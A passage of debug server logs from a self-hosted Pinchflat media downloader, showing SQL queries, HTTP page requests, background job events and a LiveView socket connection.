"media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 03:23:36.561 [debug] QUERY OK source="sources" db=0.4ms idle=11.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:23:36.563 [debug] QUERY OK source="media_items" db=0.9ms queue=0.6ms idle=7.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 03:23:36.568 [debug] QUERY OK source="media_items" db=3.8ms queue=0.3ms idle=6.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 03:23:36.570 [info] Sent 200 in 33ms 03:24:00.113 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:02.124 [info] {"source":"oban","duration":4708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:08.175 [info] GET /app_info 03:24:08.175 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 03:24:08.176 [debug] QUERY OK source="settings" db=0.8ms idle=1906.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:08.177 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1580.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:08.178 [debug] QUERY OK source="settings" db=0.5ms idle=908.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:08.179 [debug] QUERY OK source="settings" db=0.3ms idle=909.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:08.179 [debug] QUERY OK source="settings" db=0.3ms idle=581.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:08.180 [info] Sent 200 in 4ms 03:24:10.806 [info] GET /sources/1/media/406 03:24:10.806 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "406", "source_id" => "1"} Pipelines: [:browser] 03:24:10.807 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=1537.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [406] 03:24:10.808 [debug] QUERY OK source="tasks" db=0.4ms queue=0.3ms idle=1537.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [406] 03:24:10.808 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1537.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:24:10.809 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=1206.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [194, 247] 03:24:10.810 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=204.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:10.810 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:10.811 [debug] QUERY OK source="settings" db=0.6ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:24:10.812 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:24:10.814 [info] Sent 200 in 7ms 03:24:32.126 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.115 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:02.133 [info] {"source":"oban","duration":5698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:32.136 [info] {"source":"oban","duration":1748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:32.764 [info] GET /sources/1/media/408 03:25:32.764 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "408", "source_id" => "1"} Pipelines: [:browser] 03:25:32.765 [debug] QUERY OK source="media_items" db=0.7ms idle=1494.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [408] 03:25:32.766 [debug] QUERY OK source="sources" db=0.5ms idle=1495.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:25:32.766 [debug] QUERY OK source="tasks" db=0.7ms idle=1495.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [408] 03:25:32.767 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=987.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [196, 249] 03:25:32.768 [debug] QUERY OK source="settings" db=0.2ms idle=631.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:32.768 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:32.768 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:32.770 [debug] QUERY OK source="media_profiles" db=0.6ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:25:32.771 [info] Sent 200 in 7ms 03:25:33.265 [info] GET /sources 03:25:33.265 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 03:25:33.266 [debug] QUERY OK source="settings" db=0.2ms idle=497.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:33.266 [debug] QUERY OK source="settings" db=0.1ms idle=497.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:33.267 [debug] QUERY OK source="settings" db=0.3ms idle=497.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:33.268 [debug] QUERY OK source="settings" db=0.6ms idle=497.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:33.268 [debug] QUERY OK source="settings" db=0.4ms idle=486.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:25:33.271 [debug] QUERY OK source="sources" db=1.2ms queue=0.4ms idle=3.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 03:25:33.275 [debug] QUERY OK source="sources" db=3.6ms queue=0.5ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 03:25:33.277 [info] Sent 200 in 12ms 03:26:00.117 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:02.138 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:11.721 [info] CONNECTED TO Phoenix.LiveView.Socket in 39µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "cgUPJRYjCjc1GBQ8RFJ6Nx40JQAeDB0-8V6vBFPALmLywa5AMaG8VFUL", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 03:26:11.848 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "JS9STeZvyuXE33OvSUb8HJHr"} 03:26:11.849 [debug] Replied in 191µs 03:26:11.967 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 03:26:11.967 [debug] Replied in 163µs 03:26:32.139 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.117 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:02.143 [info] {"source":"oban","duration":2825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:32.145 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.119 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:02.153 [info] {"source":"oban","duration":7324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:17.801 [info] GET /sources/1/media/409 03:28:17.801 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "409", "source_id" => "1"} Pipelines: [:browser] 03:28:17.803 [debug] QUERY OK source="media_items" db=2.0ms idle=681.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [409] 03:28:17.805 [debug] QUERY OK source="tasks" db=0.8ms idle=532.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [409] 03:28:17.805 [debug] QUERY OK source="sources" db=1.0ms idle=532.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:28:17.806 [debug] QUERY OK source="oban_jobs" db=0.8ms idle=534.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [197, 250] 03:28:17.807 [debug] QUERY OK source="settings" db=0.2ms idle=535.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:17.807 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:17.808 [debug] QUERY OK source="settings" db=0.5ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:28:17.809 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:28:17.811 [info] Sent 200 in 10ms 03:28:21.973 [info] GET /sources/1/media/407 03:28:21.974 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "407", "source_id" => "1"} Pipelines: [:browser] 03:28:21.975 [debug] QUERY OK source="media_items" db=0.6ms idle=846.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [407] 03:28:21.975 [debug] QUERY OK source="tasks" db=0.4ms queue=0.1ms idle=703.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [407] 03:28:21.976 [debug] QUERY OK source="sources" db=0.7ms idle=704.3ms SELECT s0."id", s0."enabled", s0."uuid", 